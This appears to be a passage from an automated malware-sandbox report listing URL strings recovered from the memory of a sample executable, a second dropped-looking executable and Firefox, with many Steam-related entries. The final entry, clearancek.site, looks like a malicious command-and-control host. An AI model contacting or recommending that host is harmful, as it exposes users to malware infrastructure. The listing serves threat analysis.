Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2880475164.000002EE5D381000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2929744715.000002EE64D38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.2850784469.000002EE5818A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001A.00000002.2850784469.000002EE5818A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001A.00000002.2850784469.000002EE5818A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64ABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64ABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2891757977.000002EE5DD12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2894551874.000002EE5DE93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64ABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2809099994.000002EE5DE91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001A.00000002.2913537647.000002EE6001A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2831640577.000002EE5DEDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2803357818.000002EE60384000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832627799.000002EE5DEDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2916133421.000002EE60396000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903619697.000002EE5ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C918000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2799593917.000002EE5D6E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2928343018.000002EE64C7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2913537647.000002EE60096000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2860117948.000002EE59D34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2922188540.000002EE60698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2797346914.000002EE5DEDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2940158821.000002F10003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2747136565.000002EE67167000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2799802921.000002EE5D2D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2739831324.000002EE64C7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2802263143.000002EE606D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2895552129.000002EE5E008000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2739831324.000002EE64C2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2902548767.000002EE5EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001A.00000002.2903619697.000002EE5ED99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2767458060.000002EE5ED99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2928343018.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2739831324.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001A.00000002.2903619697.000002EE5ED99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2767458060.000002EE5ED99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2928343018.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2739831324.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sCan
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttps://poczta.interia.pl/mh/?mailto=%sScheme
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001A.00000003.2747136565.000002EE67194000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2764466936.000002EE5EF72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876758672.000002EE5CFC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2878148995.000002EE5D103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2902828832.000002EE5ECDA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2902828832.000002EE5EC4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2908285442.000002EE5F403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854573786.000002EE58ED5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EFDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856886597.000002EE59200000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000003.2764466936.000002EE5EFDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2787747889.000002EE5EFDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EFDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:scope
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/places/browser
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulpruneAttachments/
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2928343018.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2739831324.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2214528755.000000000569D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2896845341.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2790981889.000002EE5E675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2928343018.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2739831324.000002EE64C8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.2929744715.000002EE64D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000003.2681144026.000002EE5CB10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2687584651.000002EE5CB53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EF4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2191583956.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191486306.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.2911859884.000002EE5FF61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856566445.000002EE59000000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000002.2927621655.000002EE64BC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001A.00000002.2928343018.000002EE64C9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2905856189.000002EE5EFF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2908285442.000002EE5F447000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2889658691.000002EE5DCDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2833908400.000000FE5A1D8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2764466936.000002EE5EFF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2787747889.000002EE5EFF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2889658691.000002EE5DCF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2747136565.000002EE67138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2860117948.000002EE59D34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856886597.000002EE59200000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpi
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi(browserSett
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpi
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpichrome://acti
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgADD_EXTENSION_BUTTON_PRIVACY_3
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E910000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E90C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897777583.000002EE5E77B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E908000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2900792770.000002EE5EA4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897777583.000002EE5E7FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.2942656154.00001A6DC5600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2943865255.000021AA81E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/m
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2941379352.00000C05D3904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.2929744715.000002EE64D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.2913537647.000002EE6005C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876758672.000002EE5CFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2216206889.00000000055AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850784469.000002EE581AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2216206889.00000000055AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850784469.000002EE581AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 0000001A.00000002.2885095805.000002EE5D9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2746025159.000002EE5D9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C963000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2792367692.000002EE5D9E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856886597.000002EE59200000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001A.00000002.2889658691.000002EE5DCD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2191583956.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191486306.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2191583956.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191486306.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2191583956.00000000055E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2191486306.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apii9
